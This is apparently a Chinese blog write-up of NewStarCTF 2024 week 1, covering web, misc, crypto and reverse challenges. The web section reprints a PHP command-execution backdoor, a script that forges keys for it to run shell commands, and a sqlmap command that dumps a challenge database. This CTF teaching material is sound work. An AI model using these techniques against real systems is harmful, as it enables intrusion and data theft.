当前位置: 首页 > news >正文

2024-NewStarCTF-WEEK1

web

headach3

提示head,抓包查看响应头,得到flag

flag值:flag{You_Ar3_R3Ally_A_9ooD_d0ctor}

会赢吗

第一段:源码里找到第一段flag,ZmxhZ3tXQTB3

第二段:分析可知需要在控制台调用revealFlag函数向服务器发送POST请求到 /api/flag/4cqu1siti0n,得到第二段flag IV95NF9yM2Fs

revealFlag('4cqu1siti0n');

第三段:修改stateElement参数内容为解封,点击按钮触发事件得到flag,MXlfR3I0c1B

document.getElementById('state').textContent = '解封';

第四段:用插件禁用js,得到最后一段flag,fSkpKcyF9

四段拼接起来,base64解码,得到flag

flag值:flag{WA0w!_y4_r3al1y_Gr4sP_JJJs!}

智械危机

题目提示robots.txt,访问发现一个php界面

源码如下,代码审计后门php

<?phpfunction execute_cmd($cmd) {system($cmd);}function decrypt_request($cmd, $key) {$decoded_key = base64_decode($key);$reversed_cmd = '';for ($i = strlen($cmd) - 1; $i >= 0; $i--) {$reversed_cmd .= $cmd[$i];}$hashed_reversed_cmd = md5($reversed_cmd);if ($hashed_reversed_cmd !== $decoded_key) {die("Invalid key");}$decrypted_cmd = base64_decode($cmd);return $decrypted_cmd;}if (isset($_POST['cmd']) && isset($_POST['key'])) {execute_cmd(decrypt_request($_POST['cmd'],$_POST['key']));
}
else {highlight_file(__FILE__);
}
?> 

加密流程是:post提交cmd和key,base解码key,cmd反转,md5加密的反转cmd等于解码后的key,最后将cmd解码

按照给出的逻辑,逆向加密一下,得到flag,脚本如下

import base64
import hashlibdef encode(cmd):encoded_cmd = base64.b64encode(cmd.encode()).decode()reversed_cmd = encoded_cmd[::-1]md5_cmd = hashlib.md5(reversed_cmd.encode()).hexdigest()key = base64.b64encode(md5_cmd.encode()).decode()return encoded_cmd, keycmd = "cat /flag"
encoded_cmd, key = encode(cmd)
print(f"cmd={encoded_cmd}&key={key}")

flag值: flag{26f0ff62-c087-468c-821d-06f519977e22}

谢谢皮蛋

输入不同的id得到不同的结果,可以确定是sql注入了

抓包可以看到参数被base64编码了,刚好前两天学了sqlmap的使用,直接试试sqlmap的tamper模块

使用--tamper=base64encode.py对输入的参数进行base64编码,一键脱库,得到flag

python sqlmap.py http://eci-2zeb4o4fzbdh0lzlc9h2.cloudeci1.ichunqiu.com/ --data="id=1" --tamper=base64encode.py --dump

flag值:flag{e60a762a-b153-41b5-b041-4f2b403414ab}

Misc

decompress

压缩包套娃,一直解到最后一层,将文件提取出来

提示给出了一个正则,按照正则爆破密码,一共五位,第四位是数字

^([a-z]){3}\d[a-z]$

无所谓,一共就五位数,懒得写脚本了,直接ARCHPR爆破,得到密码 xtr4m,解压得到flag

flag值:flag{U_R_th3_ma5ter_0f_dec0mpress}

pleasingMusic

使用Audacity打开,中间是一段摩斯密码,提示倒着手动敲出来,得到flag

. --.. ..--.- -- --- .-. ... . ..--.- -.-. --- -.. .

摩斯解码得到flag

flag值:flag{ez_morse_code}

WhereIsFlag

慢慢翻,最后在环境变量里找到flag

flag值:flag{9e7a4f9f-ce98-4b87-8cd0-a61ca73083b3}

Labyrinth

使用StegSlove翻到一张二维码,扫码得到flag

flag值:flag{e33bb7a1-ac94-4d15-8ff7-fd8c88547b43}

兑换码

随波逐流爆破出高度,得到flag

flag值:flag{La_vaguelette}

Crypto

xor

将flag1和flag2重新与key异或回去,写解密脚本

from Crypto.Util.number import long_to_bytes
from pwn import xorc1 = 8091799978721254458294926060841
c2 = b';:\x1c1<\x03>*\x10\x11u;'
key = b'New_Star_CTF'key_int = int.from_bytes(key, 'big')flag1 = long_to_bytes(c1 ^ key_int)
flag2 = xor(key, c2)print(flag1 + flag2)# flag{0ops!_you_know_XOR!}

flag值:flag{0ops!_you_know_XOR!}

Base

cyberchef一把梭

flag值:flag{B@sE_0f_CrYpt0_N0W}

一眼秒了

在线网站分解n,然后是正常的rsa解密

from Crypto.Util.number import inverse, long_to_bytesc = 48757373363225981717076130816529380470563968650367175499612268073517990636849798038662283440350470812898424299904371831068541394247432423751879457624606194334196130444478878533092854342610288522236409554286954091860638388043037601371807379269588474814290382239910358697485110591812060488786552463208464541069
p = 7221289171488727827673517139597844534869368289455419695964957239047692699919030405800116133805855968123601433247022090070114331842771417566928809956044421
q = 7221289171488727827673517139597844534869368289455419695964957239047692699919030405800116133805855968123601433247022090070114331842771417566928809956045093
e = 65537
n = p * qphi_n = (p - 1) * (q - 1)
d = inverse(e, phi_n)
m = pow(c, d, n)
flag = long_to_bytes(m)print(flag.decode())# flag{9cd4b35a-affc-422a-9862-58e1cc3ff8d2}

flag值:flag{9cd4b35a-affc-422a-9862-58e1cc3ff8d2}

Strange King

根据题目名称结合密文特征,想到是凯撒偏移密码,枚举,偏移量为5时开头是f

fnem{ZxsqkyZmNqxYbybZuslelg}

根据提示猜测可能是然后每个字符依次移位,写脚本得到flag

str_encrypted = "fnem{ZxsqkyZmNqxYbybZuslelg}"str_decrypted = ""
for i, word in enumerate(str_encrypted):n = -(i * 2)if word == "{":word_decrypted = "{"elif word == "}":word_decrypted = "}"elif word.islower():word_decrypted = chr((ord(word) - ord("a") + n) % 26 + ord("a"))elif word.isupper():word_decrypted = chr((ord(word) - ord("A") + n) % 26 + ord("A"))else:word_decrypted = wordstr_decrypted += word_decryptedprint("明文为:", str_decrypted)

flag值:flag{PleaseDoNotStopLearing}

Reverse

begin

考察IDA的使用

找到flag1,按a键将数据转化为可见字符

shift+F12,找到字符串,点开就能看到flag2和flag3

得到flag:flag{Mak3_aN_3Ff0rt_tO_5eArcH_F0r_th3_f14g_C0Rpse}

base64

换表base64,找到flag和base表

cyberchef解码得到flag

flag值:flag{y0u_kn0w_base64_well}

Simple_encryption

简单的算法题,AI写个脚本得到flag

# 定义 buffer 的值
buffer = bytearray([0x47, 0x95, 0x34, 0x48, 0xA4, 0x1C, 0x35, 0x88, 0x64, 0x16, 0x88,0x07, 0x14, 0x6A, 0x39, 0x12, 0xA2, 0x0A, 0x37, 0x5C, 0x07, 0x5A,0x56, 0x60, 0x12, 0x76, 0x25, 0x12, 0x8E, 0x28, 0x00, 0x00  # 最后两个0是填充
])def reverse_transform(buffer):original = bytearray(len(buffer))for j in range(len(buffer)):value = buffer[j]if j % 3 == 2:# 反转 XOR 操作value ^= 0x55elif j % 3 == 1:# 反转加法操作value -= 41else:  # j % 3 == 0# 反转减法操作value += 31# 确保值在合法的字节范围内value = value & 0xFF  # 保证值在0到255之间original[j] = valuereturn original# 逆向变换得到原始输入
original_input = reverse_transform(buffer)# 将字节数组转换为可读的字符串
print("Original input should be:", original_input.decode('latin-1', errors='replace'))# flag{IT_15_R3Al1y_V3Ry-51Mp1e}

flag值:flag{IT_15_R3Al1y_V3Ry-51Mp1e}

相关文章:

2024-NewStarCTF-WEEK1

web headach3 提示head&#xff0c;抓包查看响应头&#xff0c;得到flag flag值&#xff1a;flag{You_Ar3_R3Ally_A_9ooD_d0ctor} 会赢吗 第一段&#xff1a;源码里找到第一段flag&#xff0c;ZmxhZ3tXQTB3 第二段&#xff1a;分析可知需要在控制台调用revealFlag函数向服务…...

大数据面试题整理——Zookeeper

系列文章目录 大数据面试题专栏点击进入 文章目录 系列文章目录大数据面试题专栏点击进入 1. 什么是 Zookeeper&#xff1f;2. Zookeeper 的特点有哪些&#xff1f;3. Zookeeper 的数据模型是怎样的&#xff1f;4. Zookeeper 的工作流程是怎样的&#xff1f;5. Zookeeper 如何…...

图书库存管理:Spring Boot驱动的进销存系统

1系统概述 1.1 研究背景 随着计算机技术的发展以及计算机网络的逐渐普及&#xff0c;互联网成为人们查找信息的重要场所&#xff0c;二十一世纪是信息的时代&#xff0c;所以信息的管理显得特别重要。因此&#xff0c;使用计算机来管理图书进销存管理系统的相关信息成为必然。开…...

用增结算数仓化改造:在/离线调度系统的构建与应用

导读 移动运营推广平台&#xff08;OPS&#xff09;承载着百度内部移动应用/移动搜索业务的用户增长预算的全流程结算线上化管控功能&#xff0c;为了解决用增业务发展规模扩大、原有技术架构老旧、无离线数仓系统等一系列的问题&#xff0c;针对全域结算数据启动了整体的架构…...

施磊C++高级进阶课程 | 学习笔记 | 博客汇总

施磊C高级进阶课程 | 学习笔记 | 博客汇总 施磊C | 进阶学习笔记 | 1.对象的应用优化、右值引用的优化-CSDN博客 施磊C | 进阶学习笔记 | 2.智能指针-CSDN博客 施磊C | 进阶学习笔记 | 3.绑定器和函数对象、lambda表达式-CSDN博客 施磊C | 进阶学习笔记 | 4.c11内容汇总、多…...

学习threejs,拉伸几何体THREE.TubeGeometry管道

&#x1f468;‍⚕️ 主页&#xff1a; gis分享者 &#x1f468;‍⚕️ 感谢各位大佬 点赞&#x1f44d; 收藏⭐ 留言&#x1f4dd; 加关注✅! &#x1f468;‍⚕️ 收录于专栏&#xff1a;threejs gis工程师 文章目录 一、&#x1f340;前言1.1 ☘️拉伸几何体THREE.TubeGeome…...

day01-Qt5入门

day01-Qt5入门 窗体应用 1.1 窗体基类说明 创建项目在details中编辑器提供了三个基类&#xff0c;分别是 QMainWindows、Qwidget、QDialog 1、 QMainWindow QMainWindow 类提供一个有菜单条、锚接窗口&#xff08;例如工具条&#xff09;和一个状态条的主应用 程序窗口。…...

AnaTraf | 利用多点关联数据分析和网络关键KPI监控提升IT运维效率

目录 什么是多点关联数据分析&#xff1f; 多点关联数据分析的运用场景 监控网络关键KPI的重要性 典型的网络关键KPI 案例分析&#xff1a;利用多点关联数据分析和KPI监控解决网络性能问题 结语 AnaTraf 网络性能监控系统NPM | 全流量回溯分析 | 网络故障排除工具AnaTraf…...

图书库存控制:Spring Boot进销存系统的应用

2相关技术 2.1 MYSQL数据库 MySQL是一个真正的多用户、多线程SQL数据库服务器。 是基于SQL的客户/服务器模式的关系数据库管理系统&#xff0c;它的有点有有功能强大、使用简单、管理方便、安全可靠性高、运行速度快、多线程、跨平台性、完全网络化、稳定性等&#xff0c;非常…...

Python 工具库每日推荐 【pyspider 】

文章目录 引言网络爬虫的重要性今日推荐:pyspider 网络爬虫框架主要功能:使用场景:安装与配置快速上手示例代码代码解释实际应用案例案例:爬取新闻网站的文章案例分析高级特性使用代理处理 JavaScript 渲染的页面扩展阅读与资源优缺点分析优点:缺点:总结【 已更新完 Type…...

【C语言教程】【常用类库】(十五)网络编程 - <sys/socket.h> 和 <netinet/in.h>

15. 网络编程 - <sys/socket.h> 和 <netinet/in.h> 网络编程在C语言中是通过套接字来实现的&#xff0c;套接字提供了进程间通信的端点。C语言的网络编程涉及到创建套接字、绑定地址、监听和接收数据。以下是网络编程的关键概念和基本实现方法。 15.1. 套接字基础…...

正点原子讲解SPI学习,驱动编程NOR FLASH实战

配置SPI传输速度时&#xff0c;需要先失能SPI,__HAL_SPI_DISABLE,然后操作SPI_CR1中的波特率设置位&#xff0c;再使能SPI, NM25Q128驱动步骤 myspi.c #include "./BSP/MYSPI/myspi.h"SPI_HandleTypeDef g_spi1_handler; /* SPI句柄 */void spi1_init(void) {g_spi…...

低代码开发助力中小企业数字化转型难度持续降低

随着信息技术的飞速发展&#xff0c;数字化转型已成为企业持续发展的关键驱动力。对于中小企业而言&#xff0c;数字化转型不仅意味着提升效率、降低成本&#xff0c;更是实现业务模式创新和市场竞争力提升的重要途径。然而&#xff0c;传统软件开发模式的高成本、长周期和复杂…...

【Linux】:线程控制

朋友们、伙计们&#xff0c;我们又见面了&#xff0c;本期来给大家带来线程控制相关代码和知识点&#xff0c;如果看完之后对你有一定的启发&#xff0c;那么请留下你的三连&#xff0c;祝大家心想事成&#xff01; C 语 言 专 栏&#xff1a;C语言&#xff1a;从入门到精通 数…...

大数据-174 Elasticsearch Query DSL - 全文检索 full-text query 匹配、短语、多字段 详细操作

点一下关注吧&#xff01;&#xff01;&#xff01;非常感谢&#xff01;&#xff01;持续更新&#xff01;&#xff01;&#xff01; 目前已经更新到了&#xff1a; Hadoop&#xff08;已更完&#xff09;HDFS&#xff08;已更完&#xff09;MapReduce&#xff08;已更完&am…...

Spring Boot视频网站:构建可扩展的视频服务平台

6系统测试 为了保证所开发出来的系统质量过关&#xff0c;让所开发出来的系统具备可靠性并能够投入运行使用&#xff0c;这就需要进行系统开发的最后一个关键步骤&#xff0c;那就是系统测试。可以说系统测试就是对系统开发前面的步骤&#xff0c;比如系统分析与设计等进行复查…...

护眼台灯横评:书客、柏曼、明基哪款使用体验好,又能护眼?

如果你使用过护眼台灯&#xff0c;就太能理解为什么护眼台灯会诞生了。护眼台灯确实有一定的护眼作用&#xff0c;光线柔和不刺眼&#xff0c;许多护眼台灯还有智能调光、定时休息等人性化功能。在当今这个数字化时代&#xff0c;长时间面对电脑屏幕或埋头于书本已成为许多人的…...

RDMA笔记

目录 1. RDMA简介1.1. 比较Socket与RDMA的通信1.2. RDMA优势1.3. RDMA 2. RDMA基本元素2.1. QPSQ, SQE & RQ, RQEQPNQPC 2.2. CQ2.3. MR2.4. PD 3. RDMA基本操作3.1. Send & Receive3.2. RDMA Write3.3. RDMA Read 阅读RDMA相关资料&#xff0c;从硬件开发角度对RDMA作…...

Collection 单列集合 List Set

集合概念 集合是一种特殊类 ,这些类可以存储任意类对象,并且长度可变, 这些集合类都位于java.util中,使用的话必须导包 按照存储结构可以分为两大类 单列集合 Collection 双列集合 Map 两种 区别如下 Collection 单列集合类的根接口,用于存储一系列符合某种规则的元素,它有两…...

LabVIEW提高开发效率技巧----跨平台开发

在如今的多平台环境下&#xff0c;开发者常常面临不同操作系统的需求&#xff0c;如Windows、Linux和RT&#xff08;实时&#xff09;系统等。而LabVIEW作为一种强大的开发工具&#xff0c;提供了支持跨平台开发的能力&#xff0c;但要使其无缝迁移&#xff0c;开发者需要掌握一…...

大数据学习栈记——Neo4j的安装与使用

本文介绍图数据库Neofj的安装与使用&#xff0c;操作系统&#xff1a;Ubuntu24.04&#xff0c;Neofj版本&#xff1a;2025.04.0。 Apt安装 Neofj可以进行官网安装&#xff1a;Neo4j Deployment Center - Graph Database & Analytics 我这里安装是添加软件源的方法 最新版…...

PPT|230页| 制造集团企业供应链端到端的数字化解决方案:从需求到结算的全链路业务闭环构建

制造业采购供应链管理是企业运营的核心环节&#xff0c;供应链协同管理在供应链上下游企业之间建立紧密的合作关系&#xff0c;通过信息共享、资源整合、业务协同等方式&#xff0c;实现供应链的全面管理和优化&#xff0c;提高供应链的效率和透明度&#xff0c;降低供应链的成…...

SCAU期末笔记 - 数据分析与数据挖掘题库解析

这门怎么题库答案不全啊日 来简单学一下子来 一、选择题&#xff08;可多选&#xff09; 将原始数据进行集成、变换、维度规约、数值规约是在以下哪个步骤的任务?(C) A. 频繁模式挖掘 B.分类和预测 C.数据预处理 D.数据流挖掘 A. 频繁模式挖掘&#xff1a;专注于发现数据中…...

解锁数据库简洁之道:FastAPI与SQLModel实战指南

在构建现代Web应用程序时&#xff0c;与数据库的交互无疑是核心环节。虽然传统的数据库操作方式&#xff08;如直接编写SQL语句与psycopg2交互&#xff09;赋予了我们精细的控制权&#xff0c;但在面对日益复杂的业务逻辑和快速迭代的需求时&#xff0c;这种方式的开发效率和可…...

UDP(Echoserver)

网络命令 Ping 命令 检测网络是否连通 使用方法: ping -c 次数 网址ping -c 3 www.baidu.comnetstat 命令 netstat 是一个用来查看网络状态的重要工具. 语法&#xff1a;netstat [选项] 功能&#xff1a;查看网络状态 常用选项&#xff1a; n 拒绝显示别名&#…...

Nginx server_name 配置说明

Nginx 是一个高性能的反向代理和负载均衡服务器&#xff0c;其核心配置之一是 server 块中的 server_name 指令。server_name 决定了 Nginx 如何根据客户端请求的 Host 头匹配对应的虚拟主机&#xff08;Virtual Host&#xff09;。 1. 简介 Nginx 使用 server_name 指令来确定…...

2025 后端自学UNIAPP【项目实战:旅游项目】6、我的收藏页面

代码框架视图 1、先添加一个获取收藏景点的列表请求 【在文件my_api.js文件中添加】 // 引入公共的请求封装 import http from ./my_http.js// 登录接口&#xff08;适配服务端返回 Token&#xff09; export const login async (code, avatar) > {const res await http…...

从零实现STL哈希容器:unordered_map/unordered_set封装详解

本篇文章是对C学习的STL哈希容器自主实现部分的学习分享 希望也能为你带来些帮助~ 那咱们废话不多说&#xff0c;直接开始吧&#xff01; 一、源码结构分析 1. SGISTL30实现剖析 // hash_set核心结构 template <class Value, class HashFcn, ...> class hash_set {ty…...

NLP学习路线图(二十三):长短期记忆网络(LSTM)

在自然语言处理(NLP)领域,我们时刻面临着处理序列数据的核心挑战。无论是理解句子的结构、分析文本的情感,还是实现语言的翻译,都需要模型能够捕捉词语之间依时序产生的复杂依赖关系。传统的神经网络结构在处理这种序列依赖时显得力不从心,而循环神经网络(RNN) 曾被视为…...

人机融合智能 | “人智交互”跨学科新领域

本文系统地提出基于“以人为中心AI(HCAI)”理念的人-人工智能交互(人智交互)这一跨学科新领域及框架,定义人智交互领域的理念、基本理论和关键问题、方法、开发流程和参与团队等,阐述提出人智交互新领域的意义。然后,提出人智交互研究的三种新范式取向以及它们的意义。最后,总结…...